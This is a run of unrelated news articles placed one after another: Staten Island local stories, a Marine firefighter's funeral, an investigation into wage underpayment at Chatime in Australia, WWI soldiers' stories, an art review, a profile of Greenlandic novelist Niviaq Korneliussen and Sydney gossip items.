misinformation, the media release says. Measles is not a harmless childhood illness, but a highly contagious, potentially life-threatening disease," said Alex Azar, Health and Human Services secretary. We have the ability to safely protect our children and our communities. Vaccines are a safe, highly effective public health solution that can prevent this disease. STATEN ISLAND, N.Y. -- City officials gathered outside of Delco Drugs in Eltingville today to promote the Drug Enforcement Agencys (DEA) National Prescription Drug Take Back day District Attorney Michael E. McMahon joined Assemblywoman Nicole Malliotakis, representatives from Senator Andrew Lanzas office, representatives from the office of Congressman Max Rose, members of local pharmacies, Tony Ferreri - the Regional Director for the Department of Human Services, the NYPD and others to raise awareness of the National Take-Back day, which will be held from 10 a.m. to 2 p.m. on Saturday. National Take-Back Day is an opportunity for Americans to responsibly dispose of unused or expired prescription pills. Yes, Sat. is National Drug Take Back Day but every day can be Drug Take Back Day on Staten Island. I've proudly brought MedSafe disposal bins to 4 SI pharmacies, in addition to the 4 @ our @NYPDstatenIslnd Precincts. Empty your cabinets & closets today, it could save a life! pic.twitter.com/ylliN2t7lk Michael E. McMahon (@StatenIslandDA) April 25, 2019 D.A. McMahon installed four MedSafe disposal bins on Staten Island, at Randall Manor Pharmacy, Ocean Breeze Pharmacy, SuperHealth Pharmacy, and Delco Drugs, according to the District Attorneys office. The drugs can also be disposed of at the four police precincts on the Island, along with both Staten Island University Hospital sites. Get addictive drugs out of medicine cabinets by dropping them off in lockboxes at our local precincts & participating pharmacies. I proudly sponsored the bins at our precincts in 2014 w/ former D.A. Donovan & D.A. McMahon has sponsored the ones at pharmacies. Spread the word! pic.twitter.com/vMCuSKzdxE Nicole Malliotakis (@NMalliotakis) April 25, 2019 Get addictive drugs out of medicine cabinets by dropping them off in lockboxes at our local precincts and participating pharmacies, Assemblywoman Malliotakis said on Twitter. The DEA launched its prescription drug take back program when both the Environmental Protection Agency and the Food and Drug Administration advised the public that their usual methods for disposing of unused medicines -- flushing them down the toilet or throwing them in the trash -- posed potential safety and health hazards, the DEA previously said. Last year, Take-Back Day collected nearly one million pounds of prescription drugs across the United States. Over 90 pounds were collected on Staten Island alone. STATEN ISLAND, N.Y. -- Police are asking the publics assistance in locating a missing 11-year-old girl from West Brighton. Daeyonna Lee was reported missing after last being seen on Wednesday, April 24, at approximately 2:30 p.m. inside her Crescent Avenue home, according to police. Lee is described as a 5-foot-3-inch black female, weighing approximately 120 pounds. She was last seen wearing all dark clothing, according to police. Anyone with information in regard to this missing person is asked to call the NYPDs Crime Stoppers Hotline at 1-800-577-TIPS (8477) or for Spanish, 1-888-57-PISTA (74782). The public can also submit tips by logging onto the CrimeStoppers website at WWW.NYPDCRIMESTOPPERS.COM, on Twitter @NYPDTips. STATEN ISLAND, N.Y. -- An 11-year-old girl who is missing has a history of running away from home, according to a source with knowledge of the investigation. The police continue to search for Daeyonna Lee, who was last seen at about 2:30 p.m. Wednesday inside her Crescent Avenue home in New Brighton, according to an NYPD statement. Daeyonna is considered to be in good mental and physical health, according to a source with knowledge of the investigation. Police previously asked for the publics help to locate Daeyonna, who is described as a 5-foot-3-inch black female weighing about 120 pounds. She was seen wearing all dark clothing. People with information are encouraged to contact the NYPDs Crime Stoppers Hotline at 1-800-577-8477 (TIPS) or 1-888-577-4782 (PISTA) for Spanish. The public can also submit their tips by logging onto the Crime Stoppers website or by texting their tips to 274637 (CRIMES) then entering TIP577. All calls are strictly confidential. STATEN ISLAND, N.Y. -- Investigators with the NYPDs Highway Patrol undertook a lengthy process of stitching together surveillance footage from multiple sources to locate the vehicle responsible for the fatal hit-and-run in Meiers Corners on Saturday. A source with knowledge of the investigation said investigators used several cameras from the site of the incident, at the intersection of Bradley Avenue and Purdy Avenue, to approximate where the driver ended up that night. The NYPD initially said a dark sedan was sought in connection to the fatal hit-and-run accident that killed 89-year-old Anastasia Diaz. Diaz was in cardiac arrest by the time emergency crews responded, according to a written statement released by the NYPD. She was transported to Richmond University Medical Center in West Brighton, where she was pronounced dead, according to police. The source said the NYPD was able to locate the vehicle, which led to the alleged perpetrator. Police then arrested Johnson Kim, 74, on Tuesday, and alleged he was the operator of the older-model, two-tone Toyota Sienna that struck Diaz. The West Brighton resident was apprehended at around 3:45 p.m., and charged with three counts in connection with the alleged hit-and-run accident, according to police. NEW YORK -- A U.S. Marine killed in a roadside bombing in Afghanistan was honored by mourners from across the country at his funeral Friday in New York City, where he was a decorated firefighter. Christopher Slutman, 43, sustained injuries during combat operations in Afghanistan when a roadside bomb detonated, fatally killing him and two other active service members on April 8 near Bagram Airfield U.S military base, just three weeks before he was to return home. The flag-draped casket of Marine Corps Staff Sgt. Christopher Slutman left a Bronx funeral home atop a fire engine caisson in a procession to Manhattan. Thousands of firefighters and other responders lined both sides of Fifth Avenue for nearly a mile as it passed slowly to a drumbeat, arriving at the majestic St. Thomas Church amid the bagpipe strains of "Amazing Grace" and salutes. The 43-year-old father of three young daughters died April 8 near Bagram Airfield U.S military base, just three weeks before he was to return home. Two other members of Slutman's Massachusetts-based Marine Reserve unit also were killed. A 15-year member of the Fire Department of New York, Slutman was with Ladder 27 in the Bronx. In 2014, he received a medal for bravery after rescuing an unconscious woman from a burning apartment in the South Bronx. Marine Sgt. Major Chris Armstrong described Slutman as "a leader who was respected and admired." "When I received the terrible news, my heart broke as I thought of Chris's family and unit," Armstrong said, fighting back tears. Chris Williamson, who was Slutman's FDNY captain for four years, said, "One phrase that seems to keep coming up when describing Chris is the term 'squared away' used by all branches of the military to describe one whose performance is even with or above satisfactory levels. I think everyone in this church that knew Chris would wholeheartedly agree that he was way above satisfactory levels." Williamson continued: "Chris and his inside team forced open the door to the burning apartment and were met with high heat and thick black smoke that went from the floor to the ceiling. Chris crawled on his belly through the smoke to a rear bedroom and found an unconscious woman; he did this without the protection of a fire hose." He then dragged the woman to safety. The native of Newark, Delaware, also had served as a firefighter in Maryland. Today our city mourns a hero, Mayor Bill de Blasio said, adding that Slutman represented the best in us. The NY-11 Congressional District encompasses two New York City boroughs Staten Island and Brooklyn. Now it is no secret that whenever a candidate runs for office within our district, they usually maintain a campaign office within both boroughs. Congressman Rose made crystal clear the importance of Brooklyn and spent a ton of time within Brooklyn campaigning. It is worth nothing that It was Brooklyn that helped him win, however It seems that Congressman Rose has forgotten about Brooklyn. Currently, Congressman Rose does not maintain an office at this time in Brooklyn. Its pathetic considering the importance and bigger turnout at the election booths during the 2018 elections compared to the last midterm elections in 2014 within Brooklyn. I must point out that even former Congressman Donovan had a congressional office in Brooklyn. I hope voters will remember this in 2020, because I sure will. (Shawn Abraham is a Castleton Corners resident.) San Mateo, CA (94402) Today Periods of rain. Low near 50F. Winds S at 10 to 20 mph. Chance of rain 100%. Rainfall around a half an inch.. Tonight Periods of rain. Low near 50F. Winds S at 10 to 20 mph. Chance of rain 100%. Rainfall around a half an inch. To continue, please log in, or sign up for a new account. We offer one free story view per month. If you register for an account, you will get two additional story views. After those three total views, we ask that you support us with a subscription. A subscription to our digital content is so much more than just access to our valuable content. It means youre helping to support a local community institution that has, from its very start, supported the betterment of our society. Thank you very much! Chatimes major shareholder is the listed Taiwan-based La Kaffa International, which holds 55 per cent of the Australian franchisor. The international powerhouse has more than 700 outlets in 38 countries and its senior executives had jetted into Sydney earlier that day along with a handful of international media. Its suggestive ad campaigns such as "Blow me"and more lately, "My first (cha) time the balls felt weird in my mouth" had resonated with teenagers who routinely queue for a taste. It was November last year and the milestone capped swift growth for Chatime since its first Australian store opened in 2009, selling Taiwanese flavoured tea with tapioca balls or "pearls". They were there to celebrate the chains 100th store opening. Executives and franchisees from bubble tea phenomenon Chatime waded through the deluge in formal gowns and tuxedos making their way to the prestigious Point Piper Royal Motor Yacht Club. Torrential rain and thunder smashed Sydney, delaying planes, flooding roads and causing traffic mayhem, but nothing was going to dampen the mood of this party. It can also reveal that Zhao and Qian were linked to underpayment issues at another bakery chain in 2018. An investigation by The Age and The Sydney Morning Herald can reveal Chatime was caught up in rampant underpayment issues, not just among its franchisees, but in the corporate stores owned by head office, and that the Australian companys founders have been at each others throats in court. Behind Chatime's spin and its lavish alcohol-infused party, the Australian subsidiary, 45 per cent owned by Australian directors Charlley Zhao and Iris Qian, was harbouring some dark secrets. The message here was that Chatime was not like the rest of the $170 billion franchise sector, which had been battling reputational issues after a series of high profile scandals including 7-Eleven , Caltex , Dominos , Pizza Hut and Retail Food Group . Those scandals sparked a parliamentary inquiry which exposed punishing business models, financial ruin, suicides and rampant wage fraud and called out the need for reform. Earlier that day, Smart Company had published an article attributing Chatimes success in Australia to transparency and a strong respectful relationship with its franchisees that included "significant support"and trust. A mandatory bookkeeping model provided "visibility"for payroll compliance. The plan was to get some positive publicity to spruik a planned listing of the Australian subsidiary, Infinite Plus, on the ASX in 2019. That move would raise millions of dollars to fund its expansion plans. It also reveals that the watchdog, the ombudsman has done little to protect hundreds of underpaid workers in corporate and franchise stores over the past decade. A procession of insiders, franchisees, workers and a series of critical documents including confidential letters from the Fair Work Ombudsman (FWO) and internal documents, paint a picture of a company with poor corporate governance. Most of the underpaid workers are foreign students on visas from China and Taiwan too afraid to complain to authorities for fear of deportation. Many breached working restrictions attached to their visas to survive. At the heart of many of Chatime's problems is a cover-up of underpayment issues in its 1150-strong workforce that has been going on for years and is estimated to run to millions of dollars. This latest scandal to hit the franchising sector comes in the wake of a damning parliamentary report into the industry . That report called for greater enforcement powers and penalties and a suite of changes to the franchising code. Labor has committed to setting up a taskforce to examine the recommendations while the government is yet to release a response. It said moving to this award would not exempt Infinite Plus from an underpayment liability. It is estimated that liability would run up to $6 million if the matter materialised. Directors of Chatime's corporate entity - Infinite Plus - held a board meeting that month to discuss various matters including moving their employees onto the fast food award. In May 2017 the ombudsman launched an investigation into Chatimes corporate stores. It covered a short period of a few months, but it spooked Chatime, which had been reading the news about a scandal that had erupted weeks earlier at one of the countrys biggest franchise chains, Dominos Pizza. He said he was still waiting for full compensation, along with many others. "We lived in a share house and my parents sent money to pay for study and rent," he said. One worker who left last year said he and his wife were underpaid tens of thousands of dollars since they started working for corporate stores shortly after the chain opened in 2009. The ombudsman confirmed to The Age and The Sydney Morning Herald that an investigation into Bakery Venture, trading as Dough Collective, had identified 37 staff paid as little as $12 an hour, totalling $350,000 in underpayment across four stores in Sydney. Qian and Zhao were also juggling another investigation by the ombudsman into a string of bakeries, Bakery Venture, where they were directors and key shareholders. Disclosure documents in 2017 list a lawsuit in the NSW Supreme Court between the two directors after Qian filed an expulsion notice against Zhao alleging he had breached a shareholder agreement that would allow her to buy him out. The case went to arbitration and a confidential settlement was reached in mid-2017. The atmosphere at head office at the time was tense, according to insiders, as the relationship between Zhao and Qian had become toxic. But the company decided at that meeting that no provision was required in its accounts at that stage. It said the investigation was finalised through a formal caution in August 2018. It said the company had gone into liquidation during the course of the investigation, limiting possible enforcement options beyond the backpay that was secured for the workers. The investigation was never reported and therefore escaped the public glare - until now. Soon after the ombudsman finished its investigation into Bakery Venture it also wrapped up an audit it had been conducting into Chatime. The audit covered a period from August to December 2016. In a letter to head office in 2018 the ombudsman confirmed it had identified more than 150 underpaid workers in Chatimes corporate stores, which are owned by head office. The watchdog gave Chatime until September 18, 2018 to rectify the underpayments, which it estimated at $113,494 in NSW and $62,975 in Victoria. The ombudsman decided not to make this investigation public or issue any penalties. The letter said evidence gathered during the investigation included minutes of a Chatime management meeting in October 2016, email exchanges, compulsory evidence from staff and recorded interviews with Zhao and Qian and other senior executives. It said the evidence "indicates that Mr Charlley Zhao, managing director of the company, was involved in the contraventions of the company during the assessment period". It said he was "knowingly concerned in the contraventions pursuant to section 550(2) (c) of the FW Act". It went on to say that "Mr Zhao had knowledge that an award applied to the company; knowledge that the company's system of payments would result in employees being underpaid; and knowledge that contraventions of the award were occurring within the Assessment Period during the assessment period." The letter didnt make any allegations against Qian or suggest she was involved in any wrongdoing. If the ombudsman's audit period had gone back to 2009 the amount owed to workers in the corporate stores is estimated at millions of dollars. If it included the franchise network, which has many more stores, and the audit period extended to today, the figure would conservatively blow out to well over $10 million. The ombudsman declined to comment on its investigation into Chatime and Infinite Plus, why it chose a short audit period or the allegations raised in the letter it sent, citing an ongoing investigation. The Age and The Sydney Morning Herald sent a series of questions to Chatime, Zhao and Qian, its overseas parent La Kaffa and two directors. Chatime, Zhao and LaKaffa declined to respond to the questions or comment on the ombudsmans investigations, including the letter or the ongoing investigation. Qian also declined to comment. We do not propose to comment or otherwise correct any of the assumptions you have made (some of which are erroneous) Chatime statement In a statement Chatime said: "We do not propose to comment or otherwise correct any of the assumptions you have made (some of which are erroneous), as it would be inappropriate to comment on matters that may be under investigation by a regulator, potentially compromising not only confidentiality but the integrity of an investigation." It said it had made "significant improvement in people capabilities (internal and external), business/payroll systems, compliance, training and education to ensure full compliance at all times. From mandatory book keeping, outsourced payroll and many other aspects of the operational side of the business". It said in the past some of its business systems and payroll capabilities had not kept pace with the rapid growth of the business. Loading It expressed a commitment to paying its people correctly and pledged that, if underpayments were identified, it would rectify the issue. "[Chatime] unreservedly apologises if or when we get it wrong. At Chatime, we see our employees as family and recognise they are the key to our success. We strive to be an employer of choice and uphold our values of being a fair, open and transparent business playing by the rules and being a good corporate citizen," the statement said. The company said it was "unfortunate" that it was legally constrained on elaborating on the allegations and it was investigating how documents had been "unlawfully leaked and by whom". The ombudsman said its investigation into Chatime's head office was part of a wider investigation into other bubble tea operator GongCha, which has more than 55 stores in Australia, and smaller operator Sharetea, as well as other overseas franchise operators. Fair Work Ombudsman Sandra Parker. Credit:Nick Moir "These businesses often implement operating models and workplace practices associated with their countries of origin," Fair Work Ombudsman Sandra Parker said. "In combination with employing migrant workers, who may be unaware of their rights, there is significant potential for non-compliance." Documents show that in response to the ombudsmans 2018 letter, Chatime's head office wrote an internal note to staff on October 18, describing the underpayment as a "system error" that had been detected during a routine wage audit that had resulted in "pay discrepancies". In the letter, Chatime apologised for the failure of the systems and said all affected staff in the corporate stores would receive a back payment. It didnt say how many staff had been affected, over what period or the amount involved. Chatime lowballs a worker But it seems Chatime sometimes plays hardball on complaints. In one case a supervisor at a corporate store in Sydney wrote to Chatimes head office in October, 2017 concerned that she had been "seriously"underpaid between 2013 and 2015. She said the rate she had been paid was at least $7.53 an hour below the legal rate, excluding penalties, which would have made it even more. She said she wanted the company to repay her the money owed or she would lodge a complaint with ombudsman. She hadnt calculated the figure as she didnt have the relevant payroll records but hoped the company would do the right thing. Chatime referred her complaint to law firm Australian Business Lawyers and Advisers, a subsidiary of the state's peak business organisation, NSW Business Chamber. Loading It advised Chatime in an email on November 17, 2017 that "if all the data was available, the likely underpayment would be in excess of $32,000 (ex super)". One lawyer is quoted in an email suggesting paying the employee $20,000. The law firm suggested Chatime go back to the worker with an "approximate"figure and to negotiate, subject to a deed of release "so she cant talk about this with other current ex-employees." The legal advice concluded: "It is of course open to Chatime to commence negotiations at a slightly lower amount than $32,000 particularly if [the employee] has indicated that she is keen to resolve the matter expeditiously and there is some risk that she too, may have been a party in breaching the conditions of her student visa (ie she would be just as culpable as Chatime in relation to any breach of the 20 hour work restrictions attached to her visa). We trust this assists." Pay records indicate the worker was paid $20,154 at the time, not the $32,000 she was owed, in return for signing a gag order. The law firm involved said it could not discuss an individual client and that the leaked documents were likely covered by confidentiality and legal privilege. "What I am authorised to say is that the information you have is incomplete and incorrect," it said. Chatime refused to answer questions on the incident or why it had paid her less than the full amount owing. Loading Last month the ombudsman issued a press release that it had taken legal action in the Federal Circuit Court against a former Chatime franchisee in Sydney, alleging it underpaid 17 staff, mostly international students on visas, $46,000 between January and November 2017. In the press release, the ombudsman named and shamed the directors of the franchise and said it was seeking penalties for the breaches. It prompted a Chatime insider to criticise Fair Work as a timid regulator. "Its pretty standard picking on the little guys, not the big guys," he said. Professor Allan Fels, chairman of the Migrant Workers Taskforce, recently published a report into underpayment issues and called on the Fair Work Ombudsman to get tougher and have a stronger enforcement response to the entrenched underpayment of workers across the country. For now the long suffering workers are still waiting for the regulator to do its job and the company to repay whats owed. Its been a long time coming. MS: In a letter dated January 9, 1917 written from the front line in France, 22-year-old Ballarat-born Lieutenant Wallace Gordon Jewkes, of the 39th Australian Infantry Battalion, told his parents. If I should meet with bad luck and not get back I dont want you to mourn for me but just think of it in the light that you have given a son in a great cause & that he did his duty as a man. Im afraid my personal belongings amount to practically air, but all there is will be sent home to you & if there is any money sent home I should like you to give it to the dependents of some soldier killed in action, it will be very little I know, but it will serve to show an ocers appreciation of his men & I can tell you they are marvels, & the nest chaps one could wish to meet ... The next night, January 10, on a raid on German trenches at Houplines, Armentieres, he was shot in the head. MS: Malcolm Jones was 18 years and 10 months old when he enlisted in December 1915 and by the time he was killed in action in a shell attack at Zonnebeke, near Ypres, on October 4, 1917 he was still two months shy of 21. Jones had studied at the Melbourne College of Pharmacy, along with his older brother, Allan Murray Jones; they were both apprenticed to their father, John Albert Jones, manufacturing chemist, of Cauleld East; and they both cut their studies short to go to war. A cruel and random act of war would essentially not only rob the Jones family of a beloved son and brother, but eace from destiny one yet to establish his professional mark and perhaps marry and raise his own family. His body was never found, but his name is inscribed along with those of more than 6000 other fallen AIF comrades at the Menin Gate memorial at Ypres. MS: Frank Cahir. Frank Cahirs wartime story is extraordinary in its vividness and immediacy. Not just of what he accomplished during the war, but after it. Between 1914 and 1918, Private (later Sta-Sergeant) Cahir served with two eld ambulance units in Egypt and Turkey and the Western Front, respectively. A letter to his home from Gallipoli was the antithesis of the very tame accounts being received at home. Those rst few days are like a huge nightmare to us, but the work our men did was glorious. Carrying men from o the top of the hills under an awful hail of shrapnel, but the thanks and grips of the hands of the dying and wounded would only spur you on to do more. Cahirs war did not end with the Armistice. Instead of joining his compatriots and catching the next boat home. He stayed on for two-and-a-half years as one of 1100 Australian volunteers working for the Graves Detachment units of the AIF. His service vocation of ferrying and tending to the wounded and the dying was now changed to one of search-and-exhumation helping nd and then identify the thousands of dead Australians whose bodies lay in those cold, hard foreign elds of northern Europe. Cahirs work as a unit photographer was described by his grandson, Fred, as a grisly task that inevitably exacted a tremendous toll. But there was ultimate resolution, too: a form of peace for the grieving families who at last, sometimes after many years, nally knew the remains of their loved ones could receive a proper burial or memorial. On board SS Demosthenes Cahir struck up a conversation with a young Irish woman from Liverpool, Mabel Murray ... they married on October 7, at St Johns Church, East Melbourne. Frank and Mabel would be married for just six-and-a-half years. They had three sons, born over three years: Francis (Jim); Patrick (Pat); and Vincent (Vin). Until comparatively recently, the Cahir family believed Frank died as a result of war wounds. The truth only emerged after one of his grandsons was researching in the Public Records Oce, and found a newspaper cutting from May 1928, under the headline DEATH IN DOCTORS ROOM: While working at the shop of E G Owen, chemist, Collins Street, city, yesterday morning, Frank Cahir, chemists assistant, of Leicester Street, Preston, complained that he felt ill. And he visited a doctor a few doors away. The doctor suggested that he should go home, but Cahir replied that he had no home to which he could go. The doctor then told Cahir to rest in a spare room at the rear of the building. When the doctor visited him half an hour later Cahir was much worse, and he died a few minutes afterwards. Plain-clothes Constable Evans of Russell Street has reported that when Cahir was lifted from the oor an empty bottle, which had contained poison, fell from his coat pocket. The doctor expressed the opinion that death was due to poisoning. Franks grandson, John Cahir, reecting on Franks untimely death, said: 'In some way, shape or form, World War I, thats what got him.' On April 30 a special event, Untold Stories of World War One: Posthumous Awards to Pharmacy Students and Sir John Monash Remembrance, will be held at Monash University, Parkville Campus. Five Soldiers: Untold Stories of World War One, published by Fox Galleries, is available from The Avenue Bookstore inAlbert Park for $59.95. Christine Johnson is represented by Fox Galleries. The trouble with so much cleverness was that the work itself begins to feel as if it were merely an excuse for a piece of creative writing; for a self-reflection on behalf of the essayist, or a display of political or theoretical belonging. Looking at the art, then wading my way through the catalogue essays, I was struck by the disparity between the actual experience of the work and the lengthy explanations. With most large surveys of contemporary art this is nothing new, in fact its depressingly old-fashioned. For all the talk of new art and new experiences I felt Id entered a time tunnel back to the 1990s, when every show came with a bundle of self-consciously clever essays. In its second edition, The National: New Australian Art , is just as hard to love as its predecessor of 2017. A collaboration between the Art Gallery of NSW, the Museum of Contemporary Art and Carriageworks, the show is intended as an overview of the best and the brightest work being produced in Australia today. Its an exercise that makes one think of that old proverb about good intentions. Abdul-Rahman Abdullah's Pretty Beach (2019) escapes the call of issues for more poetic associations. Credit:Jacquie Manning The National has far too much of this, with self-consciousness slipping precipitously into self-indulgence. Faced with the bare objects, its hard to know what all the fuss is about. A large percentage of inclusions are one-liners which may be absorbed in a single glance. Quite a few felt broadly derivative, hardly more than a variation on themes already picked over by other artists. Im not talking about plagiarism but about a lack of imagination and creative will. Its far too easy for an artist particularly a young, emerging artist to simply tick the right boxes and be included in a would-be cutting edge exhibition. We all know the correct paradigms: anything to do with gender or sexual identity, race, colonialism or popular culture. Climate change seems to be inexplicably missing. Lots of works in The National tick multiple boxes but are utterly superficial. Im not going to name names as it would be unfair to single out individuals from such a crowd. Ive often wondered why curators of contemporary art get so excited about stuff that can leave the majority of humanity stone cold. The curators this time are Isobel Parker Philip from the AGNSW, Daniel Mudie Cunningham of Carriageworks, and the MCAs Clothilde Bullen and Anna Davis. The lone guru curator can be a problematic figure just look at most of the Sydney Biennales but curatorship by committee has its own dangers. It has worked well enough with the Asia-Pacific Triennial, in which curators are assigned to different parts of the region, but put four curators together in a room and they rapidly achieve an ideological consensus. They are proud that over 60% of the 65 artists they have selected are female, while one third are indigenous. These statistics confer a halo of moral purity but tell us nothing about the quality of the art. One presumes there was no conscious effort to include more women or more indigenous artists, it simply reflects the curators preoccupations. Korneliussen grew up in the southern-most city of Greenland, in isolated Nanortalik, home to about 1500 and whose name means "place where the polar bears go". In the mountainous coastal town, her father was a school principal and her mother worked in tax. Korneliussen could roam freely in nature, and allow her imagination a similar liberation. Niviaq Korneliussen's `Crimson' follows five young Greenlanders in the country's capital, Nuuk. The young Korneliussen dreamed of life as a writer, without understanding what such a life entailed or how it might even be possible. The literary community in Greenland is small and relatively new the first Greenlandic novel, Mathias Storch's A Greenlander's Dream, was published in 1915 (and the Greenlandic writing system only emerged in 1851). Danish books largely dominate the country's bookstores, and the small output of native titles often take traditional subjects. Few Greenlandic writers have found a readership outside their home country, and the broader Scandinavian region's international output continues to be largely dominated by noir. Yet, as a teenager, writing offered a way for Korneliussen to escape the closeness of her world. She wrote to one of the few publishing houses in Greenland asking for advice, but never received a reply. "I had no idea what to do, but as long as I remember I have used writing and being creative to fulfil my imagination, my fantasy. It has always been a really important thing in my life. I used it as a way to open my world." There were no obvious role models for Korneliussen to follow and so she carved her own path. Young Greenlanders have connected to her raw exploration of sexuality, identity and the joys and perils of living in a small city. They are subjects, Korneliussen says, not usually associated with the national literature. "I think when you talk about Greenlandic literature, it has mostly been about the hunting period, like 100 years ago, which contemporary Greenlanders dont see themselves in. So when my book was published a lot of Greenlanders, especially those who were young, were extremely happy about it, even though it can be a little harsh." There was also an authenticity attached to the book, derived from Korneliussen's own experience of being an outspoken gay, young person in Nuuk. There were no openly LGBTQI people in her tiny hometown, she says, and she told her parents she was gay when she was 18. They empowered her, and she says she's always felt accepted in Greenland and Nuuk but realises this might not be an experience common to all. The culture for writing is really almost zero because it is not a part of our culture. "We don't have a 'gay place' we can go to to meet other people because it's a pretty small society. If you want to meet with other gay people you know exactly who they are and it is kind of liberating at the same time as it can be difficult for someone who is just coming out," she says. Crimson has drawn fresh attention to Greenlandic literature outside of Greenland, and Korneliussen hopes it may also have triggered something of a renaissance in reading and writing in the country. "We do need young authors from Greenland," she says. "We barely get any novels each year. The culture for writing is really almost zero because it is not a part of our culture. Our culture is very rich, but it is mostly oral. It is slowly growing and the good thing is that a lot of young people are interested in literature and they are starting to show interest in writing and creating stories." Korneliussen left her social sciences degree at Greenland University after signing the publication deal for Crimson, and later dropped out of a psychology degree in Denmark so she could attend book readings, events and festivals. Young people are interested in literature and they are starting to show interest in writing and creating stories. Although she jokes she is a "two-time drop out", she's been able to devote herself to life as writer in a way she never thought possible. She works closely with young Greenlanders, who frequently reach out to her on social media, asking for writing and publication advice. "A lot of people just give up as soon as something more interesting comes up. I tell them it's really hard work, its not something to do in a couple of weeks or days; you really have to put all of your energy into it and believe in it in order to finish," she says. All of Korneliussen's energy is now channelled into her next novel, which will be about a young Greenlandic woman experiencing depression and suicidal thoughts. It's a social issue close to home. Greenland has one of the highest rates of youth suicide in the world. Korneliussen has found this a much harder novel to write. Crimson, she says, had been "in me for a long time". For her second book, she's had to do large amounts of research and think carefully about how to present such a sensitive subject matter. "I want to know more about suicide and I really want to talk about it and still be respectful of people. It is a really difficult thing to write about. It is kind of harsh; it is a very dark story but it is a very necessary story to write about... I think it will be a very important book for me." Crimson has given Korneliussen fresh opportunities to travel worldwide she will be in Australia for the Sydney Writers' Festival but no country, she says, compares with Greenland. Although she sometimes tires of the smallness of Nuuk, she talks passionately about the sunsets and the midnight sun during the summer months. "I think I am going to grow old here," she says. "It is a very beautiful place. Everywhere you go you can see the ocean, you can see the mountains. It very quiet, it is very calm; a calm you don't get anywhere else or in other big cities." Sickened: Andrew Moore has accused Ray Hadley of bullying. Credit:ABC Moore confirmed it was the first contact he had with Hadley, who has declined to comment on Moore, since making his explosive accusations on April 3. "Im fully aware there is a reason for every action he takes, just wish I had seen him coming," Moore lamented, adding that he had not been contacted by Rothfield before the story was published. "When my wife read the story online I felt sick." PS had revealed in 2015 that Moore had kept a 40 page file on Hadley during his time at 2GB and contemplated launching legal action, but opted to quit the station to take up his current position with the ABC. Moore, who is now the ABC's Grandstand presenter and has known Hadley for 35 years, told 7.30 earlier this month: "As a human being, I think he's a bully. I think he thrives on intimidation yelling and screaming." When Moore complained to 2GB management about treatment he'd received, he said the matter ended up in Hadley's hands and was used as material for his show. "What I thought were private emails [were] being referred to on air by Ray, laughing about them. Not mentioning me by name, but it was clear, at least to me," Moore said. Hadley told 7.30 that he didn't remember such an incident and went on air the next day to reiterate that following previous allegations of bullying his workplace behaviour had changed. However, as PS has already exclusively revealed, within days Hadley was the subject of at least two new allegations of workplace bullying, which had been formally filed with management and are alleged to have occurred in recent months. PS has confirmed these new claims, by existing staff at 2GB, are currently being investigated by an independent third party. Hadley, sporting a new beard, returned to the 2GB Sydney studios last week after having relocated to Queensland for three weeks. Insiders report neither Hadley nor management have made any comment officially or unofficially about the latest claims. Management at 2GB's parent company Macquarie Media which is 54.5 per cent owned by Nine, the owner of this masthead has repeatedly stood by its position that it is unable to comment on bullying claims as they are treated confidentially. Rocky time for Jacenko as attacks hit raw nerve With the cameras out in full force, Roxy Jacenko ensured she was all smiles as she attempted in vain to operate a dish scourer to scrub the "Roxy is a c---" graffiti plastered over her Paddington offices on Wednesday morning. On the hunt: Roxy Jacenko is offering a $5,000 reward to find the culprits of her latest graffiti attack. Credit:Louie Douvis By lunchtime it was gone, but similar missives scrawled along the route Jacenko takes from her Bondi home to her Paddington offices were not quite as easy to remove, especially on the wall of busy Syd Einfeld Drive. Jacenko, who is offering a $5,000 reward to find the culprits, claims she is unfazed by the latest attacks, but pin-pointing the offenders will not be an easy task, even with police currently investigating and her own CCTV footage showing a pair of men attacking her building in the early hours of Wednesday morning. Jacenko's various tribulations have been documented for many years, including across these pages. When PS approached her for comment on Wednesday, Jacenko wryly fired back: "Andrew, was it you?" Graffiti sprayed on the wall of Roxy Jacenko's Paddington office. Credit:Andrew Hornery Well, PS hates to disappoint but it wasn't. Indeed, Jacenko has many detractors. She remains embroiled in an ugly and highly-public stoush with both her father Nick Jacenko and his partner, fashion designer Lisa Ho, which resulted in police being called following one particularly nasty incident on the streets of Woollahra. She is also estranged from her younger sister Ruby, more than a decade after her sibling was accused of punching Roxy twice at a Kings Cross party. In 2013 she was the subject of a 1000-word plus poison-pen letter purportedly written by a former staffer and titled Miss Karma. The letter went viral. In more recent years everything from her nose job and boob job, breast cancer media deals, relationship with former lover Nabil Gazal while her husband Oliver Curtis was in jail, to her children's relentless social media exposure, has ensured her position as one of this city's most written about characters. But Jacenko has not loved ALL the attention. In 2016 she called in the police after a lewd photo scandal erupted surrounding her then four-year-old daughter Pixie involving photo-shopped images of the little girl. In February she was rattled enough to engage lawyers after she was embroiled in a vulgar slanging match in front of a packed room with one of the attendees at her one-woman motivational talk. And behind the scenes, some of her closest associates say the latest attack which follows three other vandalism episodes on her building, ranging from paint bombing to faeces being smeared over her front door have hit a raw nerve. Last week PS revealed how unpopular she had become with neighbours in Paddington fed up with her $400,000 Aston Martin and husband's $250,000 Range Rover being illegally parked on their already cramped street. Next month her Sweaty Betty PR firm is marking its 15-year anniversary and Jacenko is understood to have plans for a big party. Exactly who will be celebrating remains to be seen. Pay no attention to the missing actor With his 32-year relationship in tatters, one time Australian showbiz golden boy Simon Gallaher has pulled out of his starring role in the Wizard of Oz spectacular. Gallaher told PS he was unable to face the audience on Newcastle this weekend and has quit from the production, in which he was due to play the role of the Wizard as it toured regional Australia. Simon Gallaher (top-right) has exited the production of Wizard of Oz. Gallaher's personal life has been heavily scrutinised for the past six months since his former lover, fellow entertainer Todd McKenney, revealed how he discovered his ex-boyfriend had left him for his sister, Lisa. This week Gallaher confirmed his marriage to Lisa, the mother of their two adult children, had come to an end following McKenney's extraordinary revelations, which McKenney made in a lengthy interview on a gay community radio station in Melbourne late last year. The split comes as the Gallahers are expecting to welcome their first grandchild in a matter of weeks. Todd McKenney as P.T. Barnum. Credit:Jeff Busby Gallaher took to social media to defend the decisions he had made in his private life after being openly criticised. Gallaher wrote on Twitter: "There was no lying, no delusions, no double life. A wonderful monogamous relationship with someone for 32 years. The other was a former dalliance long finished before a loving and fruitful marriage with no secrets. This is a public outing not a personal one. Check your facts." McKenney, who coincidentally opens in Melbourne this weekend with his latest role as P.T. Barnum, declined to comment further when PS called for a response to Gallaher's claim their five-year relationship was a "dalliance". Town goes to country for birthday bash If Ron and Nancy Reagan were still alive, it would be a safe bet that they would be among the long lineup of social luminaries heading to socialite, charity queen and one time cover girl Skye Leckie's 60th birthday party at her country estate 